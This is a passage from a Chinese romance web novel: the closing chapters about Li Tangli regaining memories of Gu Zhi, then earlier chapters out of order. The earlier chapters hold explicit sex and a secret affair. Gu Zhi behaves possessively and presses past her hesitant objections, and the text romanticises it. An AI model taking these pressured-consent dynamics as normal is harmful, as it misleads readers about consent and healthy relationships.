顾峙把人携到腿上,他捏着不情不愿的女孩的脸,张嘴亲了亲她的脸:“真乖。” 他得寸进尺,亲了还想咬,李棠梨的脸肉被他嘬得发疼,这回真有点怒了,她反驳说:“你才乖。” 这么一通胡闹,看了一眼表,都晚上七点多了。 李棠梨家里一片狼藉,厨房里的茶盐酱醋在她忘情的挥手时叮铃咣铛的打翻在了桌上,万幸没摔到地上碎了。 还有卧室与玄关,她头疼地揉了揉太阳穴,借此掩饰脸上飘出的难为情,她怎么不记得还有在玄关这一段? 其实是太爽忘记了,不过你要是问李棠梨,她肯定是羞愤欲死不肯承认的。 两个人午饭都没吃,高强度的激烈运动后都饿得前胸贴后背,顾峙索性点了外卖。 吃完饭,顾峙和她一块收拾家里,驾轻就熟地问:“所以我们现在是什么关系?” 顾峙想想都觉得荒唐可笑,绕了一圈到头,他始终在坚持不懈地跟李棠梨要名分。 正在擦拭地面水渍的李棠梨一滞,装傻说:“什么关系?” 顾峙冷笑:“你的意思是,我们就这么不清不白地上床了?” 李棠梨哑然片刻,她小声嘟囔:“也不算上床吧……” 这个时候,她就变得很机灵了。 顾峙蹲在她身前,逼了逼强装镇定的她:“你不是很清楚吗?我在追你,我对你一见钟情,喜欢到把你对面的房子都买下来了。” 他接过李棠梨手上的抹布,放在水盆中抽洗。 在哗啦啦的水声中,顾峙的声音听着很低沉:“你还想这么没名没份地睡我?” 她也没说还想睡呀。 “……”李棠梨被缠得没办法:“你让我考虑考虑,这太快了。” 站在李棠梨的视角,他们认识了不到一个月,就差点擦枪走火,这让没有多少情感经验的她难以招架。 但要是直接拒绝顾峙,她也有点不愿意。 “好,我等你。” 顾峙倒是回答的很干脆。他清楚得很,李棠梨要是真对他没有 感觉,再逼就不说话了。说要考虑,是因为她缺失了两个人之前的记忆,犹豫不决是正常的。 不过…… 他眼底闪过一丝暗芒,明天必须要去医院一趟了。直觉告诉他,这和那个三缄其口的疗程脱不了干系。 到底为什么只有他记得? 第58章 特殊含义的事或物 这周五,李棠梨跟咖啡厅请了假,按预约时间去医院复查。 顾峙点点头:“我早上去送你。” 李棠梨赶紧说:“不用麻烦的,你还要去上班,何况我下午才去。” 她既然这么说,顾峙也没继续强求。 李棠梨的手背在身后,一只手掐着另一只的手腕,有些羞窘。 顾峙身上还穿着西装,两个小时前还坐在谈判桌上大杀四方的顾总裁,现在却挤在她家狭窄的小阳台上,帮她晾衣服。 他人高马大,却不显得局促。神情淡淡地垂着眼皮,用这张矜贵的脸干着细碎的家务事,抻平女孩的衣物,挂到晾衣架上。 从那个中午开始,两个人维持着暧昧的非正式关系。 顾峙不用再每天费心思该怎么接近她,凭着近水楼台先得月,卖可怜说晚上太累,胃病犯了,总能成功到李棠梨这里蹭饭吃。 她心软作祟,顾峙一呆就是半个晚上。 在越发频繁的近身相处中,李棠梨发觉,顾峙有些太过了解她了。她的很多小动作和小习惯,顾峙几乎比她自己还要熟悉。 怪事不止这一桩。只要和他发生肢体碰触,她的脑海中总闪过一些不明确的画面,它们有时呼之欲出,可她怎么努力也拨不开笼罩在其上的云雾。 同时,心里伴随着复杂的感觉,既是愧疚,又是难过。与顾峙相关的一切都是未知的谜团。 某个夜晚,李棠梨全神贯注地钻进学海里畅游,一抬头,墙上的时针已经走到了十点。 顾峙吃完饭后待在客厅没走,拿出笔记本处理工作,陪着李棠梨自习。 除了他偶尔起身给她端水之外,他们井水不犯河水,以至于李棠梨都忘了家里还有个男人。 一回头,才看到顾峙支着下颌,一言不发地望着她,视线温驯而安宁。 这晚,躺在床上的李棠梨入睡前,依然对这个太过柔和的目光无法忘怀。 怀着悸动的春心,她本该酣然睡去,然而,她反倒没有睡好。 午夜时分,李棠梨猛然惊醒,后背一身冷汗,睡衣湿乎乎地黏在身上。 她坐起身,呆呆地坐了好一会儿,才拖着沉重的双腿下床倒了杯水喝。 情绪与凉水将她的胃塞得满涨,望着掀开的被子,李棠梨内心充满了疑虑。 她怎么会做一个出车祸的噩梦?而且,太真实了,她根本就身处在那辆车里,碰撞、流血、昏迷,她甚至感知到了剧烈的疼痛,梦中还会有痛觉吗? 她摸索着好端端的额头和脸颊,不寒而栗地想,真的只是一个梦? 那辆车上还有一个男人,一直在喊她的名字,可惜血糊住了她的眼皮,她没有力气再去睁眼看是谁。 不过,他的声音……李棠梨蓦地对上了号,和顾峙很像,不,根本就是一模一样! 太多的巧合就无法再称之为“巧”了,其中绝对隐藏着什么她不知道的秘密。 就连日常生活中的既视感也越来越强,正好到了复查的时间,她这回要仔细地询问刘医生,这是否与所谓的“后遗症”有关系。 见了面,刘医生对此早有预料。 她先是让李棠梨戴上仪器,再主动吐露了“任务”、“系统”、“穿越”等关键词。 在仪器的辅助下,一阵电流穿过大脑,她默念着这几个词,熟悉感扑面而来。 平日里听到这几个词,她不会作出什么反应,但特意联系在一起,她此时恍然大悟,原先罩在回忆上的一小片乌云被拂动开。 对啊,刘医生不是还和专门跟她科普过,这是治疗过程和形式,她怎么都忘了?就像是河底的沉渣,这会儿被搅得上泛到表面。 可往深处思索任务的具体内容,她又无能为力了。 这或许可以解释一部分异常,但关于顾峙的那些事呢?难道也是任务? 望着李棠梨的脸,刘医生想起了上个礼拜同样坐在这个位置的顾峙。 他可比李棠梨难缠多了。连客气的假面也不装,开门见山就是一句,为什么和他一起接受治疗的李小姐什么也不记得了? 尽管不知道他是如何做到的,但他俨然恢复了全部的记忆,还动用了内部渠道查明了真相。 被他揭露后,刘医生没有再矢口否认。 她没想到这两个人会这么快就在现实世界里相遇。 李小姐虽然和他处在同一个城市,但两人的社会背景可谓天差地别。 他们应该宛如两条永不相交的平行线才对。用脚趾头想想也清楚,如果不出意外,两人再遇的概率极其渺茫。 但事实是,这么短的时间内,其中一名患者就察觉了真相。 不过,即使顾峙的语气冷冽得如寒风刮过,面对他的逼问,刘医生也无计可施。 作为一项崭新的实验性技术,记忆屏蔽具有很强的个体差异,比如顾峙就能够瞬间记起,李棠梨却呈现出碎片化的特点,并且速度也要慢很多。 更糟糕的是,他们之前根本没有病例可供参考,只能自我摸索。 就算直接跟李棠梨说出来,相当于强硬地灌输,和她记忆自动苏醒是两码事。 因此,刘医生建议顾峙用一些对他们来说具有特殊含义的事或者物刺激她,以此为契机,或许一举就能让使她想起来。 顾峙这几天用了许多办法旁敲侧击,但遗憾的是目前都未能奏效。 而从医院回来的李棠梨也没得到什么有用信息。刘医生只向她含糊地透露说,顾先生也曾经是她的病人。 所以,到底是什么原因导致他们之间没由来的熟悉感? 她满肚子的疑惑,路上盘算着等会儿如何开口问问顾峙,刚到家,没歇口气,门就被迫不及待地敲响了。 门外站着那个让她经常困惑的元凶。 他格外礼貌地邀请:“李小姐,我是否有荣幸能与你共进晚餐?” 真看见顾峙,李棠梨又把问话都压了下去,只浅笑着问:“你这么早就下班了?” 通常情况下,顾峙晚上七点才回来,今天提前了一小时。 顾峙坦然地说:“怕太晚了,你不接受我的邀请。” 之前顾峙也邀请过她,但可能时机尚早,被李棠梨以外面天太黑为借口拒绝了。 这回正值黄昏,李棠梨恰好有事要和他谈,于是欣然同意了。 两人的位置定在露台,绝佳的观景视角,紧临壮美的江畔风光。尤其是华灯初上,灯光璀璨,在美景的衬托下,李棠梨胃口都好了不少。 可吃到六分饱,她就因为心事而搁了筷子。李棠梨犹豫着该怎么跟顾峙开口,直接问他住院原因和住院时发生了什么,是不是太冒昧了? 正在此时,江面上传来嗖嗖的两声蹿空声。 李棠梨本能地循着声音望去,为她而绽开的烟花在此刻分秒不差地撞入了她的眼中。 第59章 正文完结 第59章 无论在哪个世界…… 眼前的场景美极了,李棠梨的心突突地跳,她恍惚地望着江面上炫彩的投影。 晚江、烟花,李棠梨两只手撑着露台,出神地想,她之前也看过一场不逊于此的烟花。 没错,而且烟花之下,还有令她心动的人。他还从怀里掏出了一个红盒子…… 她忽得扭过头,顾峙就站在她的身后。 自始至终,他都是这么专注地看着她,满溢着她似懂非懂的情绪。 他启唇道:“好看吗?” “好看。” 她回答得心不在焉,因为此时大脑发出了一道强硬的指示。她犹如有了预知能力,顺着顾峙的胸口往下看去,一眼就瞄见了他手 上的那枚戒指。 脑袋嗡的一声,她喃喃地说:“戒指?” 顾峙从语气中听出了蹊跷,他的手被她握住了,戒指的表面被摸了又摸,她蹙起眉,耗费了很大的力气说道:“戒指里有我们的……” 她话音未落,男人利落地将戒指摘下来,放到她的掌心里。 在灯光下,刻着字母的内圈折射出细碎的光芒,他补全了这句话:“有我们的名字缩写。” 顾峙面上不动声色,实则暗自懊悔。戒指是按照曾经的样式一比一定制的,他今天才戴上这只男戒。 他当时觉得这时拿出来为时尚早。见此刻李棠梨有记忆恢复的迹象,又后悔没带过来。 哪知道,听见了他的话,李棠梨霎时间脸色惨白,她捂着额头:“我、我的头好痛……” 顾峙刚揽住她的肩,李棠梨就失去了意识,双膝一软,跌在了身后顾峙的怀里。 “李棠梨?李棠梨!” 顾峙沉声唤她,见女孩毫无反应,只是眼皮紧闭,额上沁出细小的汗珠,他立刻把人抱起来,叫车往医院赶。 片刻没有耽误,刘医生检查过了李棠梨的身体,万幸并无大碍。 李棠梨脸色苍白地躺在病床上,这令守在床边的顾峙脸色极差,他又一次眼睁睁地看着她受苦,自己却连为她减轻痛苦都做不到。 他厌恶这种无能为力感,低垂着头:“那她什么时候会醒?” 李小姐的手几乎是全程都被他紧紧攥着,亲眼目睹顾先生的关切,刘医生依然觉得不可思议,第一对实验者并没有展示出如此深刻的感情。 她不禁产生一个困惑,虚拟世界里的感情,真的可以蔓延到现实吗? “李小姐受到刺激,好消息是记忆大概率会恢复,她目前需要静养,不出意外的话,明早就会醒来。” 离开病房时,刘医生驻足回望,那两个人影依偎在一起,她无奈地笑了笑,在心里祝他们幸福。 一道阳光照在李棠梨的眼睑上,睫毛激烈地颤抖了几下,才缓缓掀开。 棕褐色的眼珠沐浴在初晨中,她撑起身子,短暂地放空了一瞬,低头望见蓝白的病号服,有种不知为何身在医院的茫然感。 耳边忽得一声炸响,神色略显憔悴的男人站在床头,还维持着不慎打碎玻璃杯的姿势。 看到他,李棠梨的心神被从天外拽回了体内。记忆犹如片片拼图,在此刻彻底归位。 她终于把以往许久的爱人记起,率先红了眼眶,开口就是止不住地哽咽:“顾峙。” 顾峙一个箭步上前,拥住了她。 他嗓音艰涩:“你睡了整整两天。” 李棠梨揪着他的胸襟,带着泣音说:“对不起,我让你等了太久……” 顾峙低下头,他生怕又刺激到了她,轻声问:“都想起来了?” “嗯,”李棠梨被他以纸轻柔地拭去泪珠,强扯出一个要哭不哭、有些滑稽的笑:“我们已经领证了,对不对?” 顾峙终于放下了心。 他陪床的这两天,脑子塞满了各种可怕的幻想,他甚至后悔于自己的急切。 如果李棠梨再也不醒,他又该怎么办?倘若从来都不曾遇见她,他尚且不觉得痛苦,无知无觉也是一件好事。 可偏偏在和她相知相爱后又失去她,他要怎么再去忍受这孤独而乏味的一生? 满足地亲吻着她干涩的唇瓣,在唇齿的厮磨间,他恳求地问:“出院之后,我们就去领证,好不好?” 李棠梨脸上泛着红潮,她坚定地给予了顾峙回应:“好。” * 顾峙车祸了。顾峙醒了。顾峙醒了不到两个月,宣布要结婚了。 关望津坐在订婚宴上,从前两天被通知这个消息开始,人就止不住地发懵。 我没在做梦吧? 听说这位名不见真传的李小姐还是个二十岁的女孩,父母双亡,身世贫寒。 顾峙和她在医院一见钟情,因为李小姐半路辍学,打算过几个月还去高考。所以高考完了再办婚礼,但结婚证已经迫不及待领到手了。 关望津努力半晌,脑补了一出精彩的都市爱情狗血剧,怎么也套不到顾峙身上。 不过,当他真的看到这两个人,又莫名觉得他们十分般配,顺滑地合理化了两人火箭般的速度。 其实,这桌上的其他人也好不到哪儿去。 顾淑凤首当其冲。上个礼拜,当顾峙问她要户口本,言明他要和李棠梨去领证的那天,顾淑凤差点没犯耳鸣。 她骂了一通弟弟,他一声不吭。 顾淑凤说的口干舌燥,以为劝住了。喝口水的功夫,顾峙不紧不慢地开口,就是铁了心要跟李棠梨结婚。 这下,顾淑凤是真担心他被人下降头了。只好退一步,让他先把小姑娘带回家里看看,别急,一步步来,顾峙才肯罢休。 李棠梨到访,文文静静地打招呼,姿态还算大方。只是第二面,顾淑凤就把这女孩看顺眼了。 她态度软化后,别人更不是问题。顾语琴亲亲热热地拉着人家的手,一见如故,没多久就嫂子嫂子地叫上了。 至于纪嘉誉么…… 李棠梨第一回 见到纪嘉誉,呆愣愣地瞧了好几眼,瞧得纪嘉誉没好气地瞪她。 纪嘉誉是被告知是要见未来舅妈,兴高采烈地专门打扮了一番。 他头发带点自然卷,穿着衬衫和短裤,精致得像个小王子。 他特意站在门口迎接,结果一看到她来人是她,脸就垮了。 顾淑凤赶着他叫人,纪嘉誉不乐意。他坐在沙发上,背挺得直直的,抱起双臂,摆出一副不欢迎她的模样。 好几回,李棠梨都察觉到他在背后偷看她。扭头一瞧,纪嘉誉又赶紧板着脸,端起架子坐好。 订婚宴上,这小孩也不安生。吃到后半截,说要去趟洗手间。 非得指着李棠梨,颐指气使地说:“我要她送我去。” 顾峙沉下脸:“你这么大人了,自己不能去?” 也就李棠梨脾气好,阻止了这场争端的发生。 纪嘉誉伸出手,示意李棠梨拉着他。在走廊上,他盯着脚下,对她说:“你真要和我舅舅结婚?” 李棠梨“嗯”了一声:“你不愿意么?” 纪嘉誉撒开她的手,止步不前:“你和我舅舅不合适。” 到了现实里,纪嘉誉还是不待见她吗? 李棠梨好奇地蹲下身:“为什么?” 纪嘉誉望了望四周,确认没有另一个人在,才凑到她面前,神神秘秘地说:“我舅舅很凶的,还打人。你不要嫁给他。” 缩小版的纪嘉誉一脸严肃,李棠梨一阵好笑。 她憋住笑,遗憾地说:“没办法呀,我和他已经领了结婚证了。” 纪嘉誉急切地跺了跺脚:“诶呀,你笨死了,你和他离婚!等我长大了……” 他快速瞥了一眼李棠梨,红着耳尖说:“到时候要是没人要你,我可以和你结婚。” 李棠梨眨了眨眼睛,她复而牵起他的手,温和地说:“不可以哦。” 纪嘉誉怒道:“为什么不行!” 吵吵闹闹地牵回来,纪嘉誉再度单方面和她发起了冷战。年纪小小初次受了情伤,他一溜烟跑到座位上,偏着脸不肯理她了。 回家的路上,顾峙状似无意地问:“那小子跟你出去说什么了?” 果然瞒不住他。 李棠梨老实地说:“跟我说不要嫁给你,你很凶,还打人。” 顾峙被逗笑了:“他还真是……一如既往地欠收拾。” 说起纪嘉誉,李棠梨困惑许久:“对了,为什么在虚拟世界纪嘉誉是十八岁?” 对方却答非所问:“你真觉得那是虚拟世界?” 李棠梨怔住了:“可刘医生是这么说的。” “那为什么连我家人和朋友也感觉你很眼熟?这说不通,他们并没有受过类似的治疗。” 车内短暂的寂静后,她迟疑地问:“你是说,那也可能是真的?” 顾峙摇摇头,他也无法确定到底是怪力乱神,还是另一个平行时空。 他平静地说:“我也不知道。但是,无论在哪儿,我们都不会分开了。别再抛下我了。” 李棠梨侧过头,靠在他的肩头,笑着说:“嗯,永远不分开。” 无论在哪个世界,我们都会相爱。 领证后,李棠梨和顾峙搬到了新房,紧锣密鼓地报班,正式备战高考。 或许是因为肩负着 母亲的期望,尤其是最后三个月,李棠梨压力颇大,掉了七八斤,脸颊尖俏。 她为了不让顾峙担心,还安慰说瘦了好看。顾峙嘴上不说,每天晚上陪着她复习到深夜,聘请专业营养师为她调养身体。 时光一晃,到了六月份。 顾家的人都来了,送她进考场。顾峙面色从容,只说她发挥出自己的正常水平就可以,压力别太大。 不过,顾淑凤后来在两人婚礼上揭穿了他,她说顾峙等在考场外,对着一棵大树硬是瞧了大半天,他自己高考的时候都没见这么紧张。 最后一科的收卷铃声响起,李棠梨呼出一口气。 随着大部队从考场走出来,李棠梨望见捧着花在人群前等待着她的顾峙。 她扬起笑脸,知道她不再是孤身一人了。 李棠梨快步走上前,被男人热烈的拥抱和芬芳的鲜花扑了一怀。 此时正值盛夏的序曲。 一个美好而悠长的夏季即将开始。 ——正文完—— 40-50 第41章 不是,在等她分手…… 满桌人的目光霎时间被吸引到她潮红的脸颊上。 第三者肆无忌惮,被勾引的心如擂鼓。 偷情般的羞耻感汹涌而至,李棠梨咬着嘴唇,嗓音微抖:“只是有点热。” 不是热,是躁,是心底燎起的一团火。 说话时,她还需要分去心思,极力忽视小腿处攀援而上的酥麻痒意。 顾峙还是体贴的,不想让她当众出丑,她闭口,鞋尖才恶劣地点了一下,像是在狎昵地反问:是吗? 还在继续。 李棠梨几乎要发汗。 听着其他人的交谈,她手心湿滑地捏不住筷子,她草草搁下,拾起汤匙,桌上魂不守舍地搅动着粥。桌下,她自己也成了一碗粥,甜丝丝的,被顾峙有一搭没一搭地搅弄。 碗里的热气熏在她脸上,熏得愈发红,跟醉了似的。李棠梨不得不压低脑袋,好使春意不泛滥进别人的眼睛里。 桌下藏了一个随时可能引爆的定时炸弹。旁人每一个举动,都令她心跳加速。 她清楚得很,只要有人的筷子不慎掉了,弯下腰,就能愕然撞破他们旁若无人的下流勾当,就此揭开一桩舅舅勾引外甥女朋友的豪门丑闻。 其实,如果李棠梨不乐意,大可以往后退一退,或者借口往后挪挪椅子。她有很多办法来摆脱他无礼的亵玩。 但她没有。李棠梨只是红着脸坐在他对面,被刺激得眼珠子都发痴,小腿依然留在原地。她的纵容就是默许。 瞥见她一味地含胸垂首,腿却没有缩回去,顾峙的唇角隐秘地勾起。 说明她也喜欢这种……不太道德的举动。哦,太委婉了,就是在别人眼皮子底下偷情。 顾峙今晚胃口很好,慢条斯理地擦拭了一下嘴,终于把那条长腿放了下来。 他刚抽走,李棠梨紧绷的那根弦尚未松弛,又被他顶住鞋尖,逼了一逼,她轻易屈服,微微分开,男人于是堂而皇之地闯进了她的双脚中间。 接近饭尾,顾峙不挑逗她了,只是静静呆在那儿。 即便如此,李棠梨稍稍往下一瞥,见他漆黑锃亮的皮鞋侵略意味十足地踩在她的白靴子之间,心脏禁不住扑通扑通乱跳,尤其是在纪嘉誉身旁,眼睛都激上一层水意,泪汪汪的。 众人吃完饭,起身收拾碗筷,李棠梨端着空盘子放到厨房的水槽内,顺带着洗手时,身后不期然贴上了一具高大而炙热的身体。 顾峙垂下眼帘,望着女孩弯腰时露出的一截脖颈,他回望一眼,趁着别人都不注意,放肆地俯下身。 敏感的后颈先是被蜻蜓点水似的亲了一下,李棠梨一颤,两条有力的胳膊从后箍住了她的腰腹。 她本能回头,正冲他的下怀,迎上他急急的吻。 “唔!” 像只受惊炸毛的猫,李棠梨瞪大双眼,慌得气都要喘不上来了。 顾家其他人可都在外面呢! 被强压着贴了一下唇,她腿软了半截,别过头,湿淋淋的手抓紧环在腰间的健壮手臂,羞恼地压低声音:“快、快放开我,要被看到了!” “这儿是死角,没人看得见。” 顾峙隐忍地放开她:“我从吃饭的时候忍到现在。” 他还好意思说,这都要怪谁? 李棠梨紧张地偷望向餐桌的方向,三个人各司其职,擦桌子的擦桌子,整理椅凳的整理椅凳,确实没人往这儿看。 她小声怪罪,严重到了直呼其名的程度:“顾峙,你太坏了。” 这就叫坏?没当着纪嘉誉的面亲,已经算克制了。 顾峙口吻淡淡,意有所指:“只有我想?” 想亲吻……还是想做别的? 李棠梨摸了摸发烫的耳垂,决心硬气地不回答他满是陷阱的话。 没逗到她,顾峙也不恼。错开两步,落在后面,慢悠悠地看着她强装镇定地走回客厅,实则耳朵通红。 见她回来,正要往楼梯口走的纪嘉誉朝她招招手:“李棠梨,跟我上来。” 顾峙顿住了脚。 深更半夜,少男少女共处一室,鬼都清楚会发生什么。 李棠梨下意识别转身子,去看顾峙的脸色,怕他又像上回那样怒火中烧。可她很快止住了,觉察到此举不妥。 “好。”她就要走过去。 “慢着,”顾峙双手插在口袋里,开了口,“这是在家里,你和她上楼去做什么?说清楚。” 纪嘉誉反击道:“说两句话也要跟你报备?” 舅甥都对彼此怀有微妙的敌意。 顾峙是碍于自己无权干涉他们的交往,只能眼睁睁看着她奔向他人;纪嘉誉是注意到舅舅今天三番四次因李棠梨而对他横加指责。 但凡牵扯到李棠梨身上,顾峙就不对劲了。 顾淑凤适时搭腔道:“你舅舅说得没错,你有些分寸,不要胡闹,和李小姐说完了,就早点睡!” 当妈的心思就很单纯了,就是提醒儿子别大晚上和女朋友在房间里做过火的事。 面对妈妈和舅舅的联合声明,纪嘉誉拉不下面子,拽过李棠梨,边往上走边恼火地想,把他当成发情的泰迪了吗?他至于在一大家子都在的时候按捺不住冲动吗? 人上去了,顾淑凤扫视顾峙,稀奇道:“你跟嘉誉闹哪门子脾气?” 他还站在原地,仰头看向两个人最后出现的位置。纪嘉誉逞一时意气拉着她,把她扯地差点一个趔趄,膝盖磕在台阶上。 他回过头,阴鸷之色积郁在眼底,消融不下。 顾淑凤招呼弟弟到露台吹风,指了一下他那枚戒指:“我吃饭那会儿才看见,有女朋友了?” 中指的素戒反射着一线灯光,顾峙沉沉道:“嗯。” 本来,顾淑凤这两年都放弃催婚了,以为顾峙这辈子都要不婚不育。乍然冒出来一个女友,很是惊喜。 “谈多久了?我认识吗?” “都认识,半个月了。” 既然都认识,那就是圈里人。顾淑凤很满意:“过些日子稳定了,要是人家愿意,就带回来见一见。” “暂时还不方便。” “忙着工作?” “不是,在等她分手。” 顾淑凤僵住了,盯着面不改色的顾峙:“什么?” 不远处的顾语琴扑哧一声笑了:“哥,你要把大姐吓死了。” 顾淑凤反应过来这只是句玩笑话,立刻瞋目竖眉:“好啊臭小子,敢耍我!” 劈给弟弟背上两计巴掌,顾淑凤板起脸,没好气地说:“少开这种恶心的玩笑,你又不是不知道爸妈那摊子破事。没轻没重的,我心脏病都快犯了。” 顾淑凤觉得恶心,是理所当然的,这才是正常人的态度。要是让她知道,弟弟挖的是儿子的墙角,估 计真要气晕过去。 沉默半晌,顾峙点了点头。 他推着轮椅上的顾语琴回三楼。电梯里,顾语琴问:“哥,忍得很辛苦吗?” 除了当事人,她最清楚这两个人的进展。 “嗯。” 她手指绕着披肩垂下的流苏玩,语气轻巧地像是在谈论天气:“现在不是什么好时机。小鱼还没分手,大姐会很生气。” 顾峙突然问:“语琴,你为什么不介意?” 电梯门打开,轮椅在厚厚的地毯上无声地推进,顾语琴笑吟吟地说:“因为我很喜欢棠梨呀,恰好你也很喜欢。既然小鱼不珍惜,不如换成你,这样就皆大欢喜了。她也可以一直留在我们身边,不是吗?” 她才不在乎什么舅舅外甥。更何况,纪嘉誉自小就和她拌嘴、分走家人许多关注,她是很乐意给他使坏的。 进了房门,顾语琴天真地问:“我想的对吗,哥?” 在离开前,顾峙给了她答复:“对。” * 纪嘉誉一路拽着李棠梨回房间,直到人家痛呼一声,才倏地放开。 一瞧,女孩的手腕都被他攥红了。 有段时间没跟她亲密接触,忘了她是很容易留痕的体质。力道大了,三四天了还有印子。 他有些懊悔,却依旧生疏于道歉,只说:“我没注意。” 握住隐隐作疼的手腕,李棠梨摇摇头:“没关系的。有什么事要和我说吗?” 她站在门口,不主动靠近,一副公事公办的模样。纪嘉誉升起不满:“过来坐。你穿的什么衣服?不适合你。” 坐到一旁的椅子上,李棠梨低头看了看:“我觉得还好呀。” “为什么不穿我喜欢的?” 她叹气,无奈地说:“现在是冬天了,嘉誉。太冷了。” 古怪的是,她明明还是平和而迁就的语气,可纪嘉誉却感受到了很大的不同。从前,李棠梨是热的,现在,她是温凉的,透着丝丝冷意。 好吧,或许真是因为冬天。 话到嘴边,纪嘉誉才发现,原来这段时间以来,他积攒了很多话要跟她说。 比如,为什么渐渐不给他发消息,寥寥几条还那么敷衍;为什么一直不过问舒冉的事,果真是毫不在意吗;为什么绝口不提复合…… 还有更多他无法出口的话。 那天聚会时,她言笑晏晏地在手机上聊天的情景,成了一根扎在他心头的刺。每次想起,都刺得更深。 真心话时,李棠梨说是语琴,可他就是冥冥中觉得,那人应该是个异性。和李棠梨关系匪浅的异性。 对了,还有今天,她和舅舅之间也处处透露着反常。 这么强的倾诉欲、探究欲,是从未出现过的。要知道,在之前,他用不着开口,李棠梨就会贴上来主动找话题。 就像是刚刚,他想说的其实不是衣服,而是为什么李棠梨好像不太在意他了。 但他难以言说。 李棠梨则不清楚纪嘉誉的目的。纪嘉誉不是多话的人,断断续续和她聊了一会儿,生硬地像是在刻意找话题。 片刻后,实在没什么好说的了,就提出要带着她打游戏。李棠梨是新手,玩得一塌糊涂,纪嘉誉也跟着遭罪。 不过,她倒是看出他在忍着不朝她发火。挺稀奇的,毕竟纪嘉誉是有名的少爷脾气,朋友们都清楚。 没的玩也没的说,李棠梨就回来了。顾家歇息得早,她和纪嘉誉说话的功夫,客厅已经没人了。 下楼,走入客房,转身关门。她一边脱大衣,一边摸索着墙上的开关。 顺手把外套挂在衣帽架上,不经意地转过身,李棠梨险些被吓到惊声尖叫。 床上坐着一个静默的、盯着她的男人。 是顾峙。 从她进门伊始,他就坐在床沿,一声不响地盯着她开灯、脱衣服。 而在她进门之前,在这个黑漆漆的房间里,顾峙不知道无声无息地等了她多久。 顾峙注视着她,身体没有动一下。 他问:“你们一共待了47分钟,和他聊得开心吗?” 第42章 我最最喜欢你 “没、没有很开心。” 李棠梨被吓得打磕巴,缓缓放下捂嘴的手,惊疑地问:“你一直在这儿等我回来吗?” 瞥见女孩发白的脸,顾峙收敛了神色:“过来。” 绝大部分时候,顾峙都是非常沉稳的。一旦牵扯到纪嘉誉,他就极容易失控。此时此刻,他身上就有一种令李棠梨望之心颤的平静。 上次在酒会发现她偷跑出来,他也是全程表情无波无澜,把她弄得腿脚发软、泥泞不堪地回到纪嘉誉身边。 因而,这回还没等他发难,她忽然捧住他的脸。坐着的顾峙视野猝不及防地抬高,淡漠的脸上透露出罕见的茫然。 女孩急急地和他说:“我最最喜欢你了顾峙。别生气,好不好?” “……” 嘴快过脑子,李棠梨意识到自己说了什么后,声音越来越小。 发愣地盯着她变红的脸颊,片刻后,顾峙突然无奈地笑了。 和他相比,她的手小小的,指节纤细,两只手小心翼翼捧着他。 年纪尚且稚嫩,书都没有读出来,却在烦恼该如何抚慰她年长而心胸狭隘的情人。 他大她近十岁,却虚长年岁,贪欲极重,道德败坏。哪怕只是见她和男朋友站在一快,都要拈酸吃醋,实在不是什么贴心的情人。 “最最喜欢?” 他低声重复了一遍,大手覆上腮颊旁李棠梨的手,胳膊把站在身前的女孩揽近:“李棠梨,你就是吃准我更喜欢你,拿你没办法,是不是?” 男人的脸就势埋在她的腰间,李棠梨红着脸,伸手抱住了他。 温情了没多久,她忽而一抖——隔着一层单薄的打底衫,两片温热的嘴唇贴着她柔软的腰腹。 她本能地弓背后躲,却被一只手拦在腰后,只能被迫接受他。炽热的水汽穿透布料,自那处攀升起过电般的刺激。 腰间一凉,衣摆被他掀到上方,这回就是毫无阻碍的贴合了。 他越吻越靠下,蜿蜒着一串湿痕,李棠梨徒劳地按着他的肩,头也不敢低一下,生怕看到太过火的情景。怕只是看一眼,腿就彻底软得站不住,瘫坐在地上。 直到牛仔裤也被扯动,她制止了他,发出声如蚊蚋的恳求:“别亲了……” 视野一晃,人就侧坐在了他的膝盖上。 “不是说最最喜欢我吗?现在不让亲?” 顾峙似乎很不满意,握着她的侧腰,另一只手蓄势待发地搭在她的大腿上。 裤腰歪歪斜斜卡在女孩瘦伶伶的胯骨,连带着里面那片白色的布料也往下挪了挪。 顾峙盯着那片终年不见阳光的皮肤,喉咙发干。他手抚上去,嘴上道貌岸然地斥责道:“你讲不讲信用?” 李棠梨脸烧了起来。 她心悸不已,两只手紧握在胸前,把滚烫的脸死死依偎进坏男人的胸膛里。 只要看不见,就可以掩耳盗铃,佯装不知接下来顾峙要对她做的事。 顾峙拍了拍坐在膝盖上的软肉,拍得她直发抖,又往他怀里钻。 坏男人明知故问:“怎么不说话? 在她的缄默中,先是靴子落在地上,紧接着是牛仔裤。 直到最后遮身的一片布料也要失守,可怜的女孩终于按住了顾峙的手。 她装不下去哑巴了,含着哭腔:“还有别人在……” 这个时候,一直说一不二的顾峙反倒变得温柔极了。 在注定要把鲜美的猎物拆之入腹前,耐心的捕食者是不惮于用尽手段来安抚这只瑟瑟发抖的小羊羔的,她一旦放松警惕,他就会露出獠牙。 男人把她往里抱了抱,搂着女孩温热的膝弯,垂头吻她的脸:“别怕,房间隔音很好。” 李棠梨怯生生地抹了一下眼角的泪:“会被人听到吗?” “那你叫得小声点。” 女孩怔住了。坏男人却像是什么也没说,正色道:“不会被听到的,我保证。” 李棠梨忍不住怀疑是她刚刚听错了,只好自己骗自己。不骗已经不行了。因为她全身上下,如果套在脚上的袜子也算做一件,仅剩四件衣物。 不然,她这样蜷缩在一个男人身上,两脚悬空,难道是等着玩摇摇车吗? 顾峙又亲她,这是在征询她的同意,是捕食者虚伪的温柔。 看她害羞,顾峙通情达理地表示:“先不脱了。我先亲亲,好不好?” “……嗯。 ” 明亮的灯光下,李棠梨面容泛着红晕,退让地点了点头,达成一致。 顾峙笑了,吻她的唇,眼皮半垂,深灰色的眼珠黏在她脸上,声音沙哑。 “谢谢你,乖女孩。” 好天真。李棠梨以为穿着就没关系了,以为他要亲什么不要紧的地方,结果扒开照亲不误。 真可怜,两眼发直,今早顾峙拿给她的蝴蝶结长袜半掉不掉,挂在脚上。 更不要说控制音量。她又哭又喊,挣脱不了。 也是因为顾峙,她第一次知道,原来到了晚上,男人就会冒出细小的、要命的胡茬。 李棠梨把他的头发揉得一团糟,连什么时候被抱到浴室的也不清楚。 雾气弥漫里,她被草草裹了浴巾抱出来,再然后,记忆里就彻底成了一团浆糊。 其中是永无止尽的炙热与汗水。 她被钉透了,像是个标本,任人摆弄。或者,又像一个小小的口袋,被撑大了一个尺码,已经达到了极限,可还是在源源不断地往里送。 这个时候,她声音却小了。李棠梨咬着指头,想尖叫的同时,无神地看着天花板——被顾峙遮住了,只能看他的肩膀。 这怎么行呢,要坏掉了。 她焦虑地想。 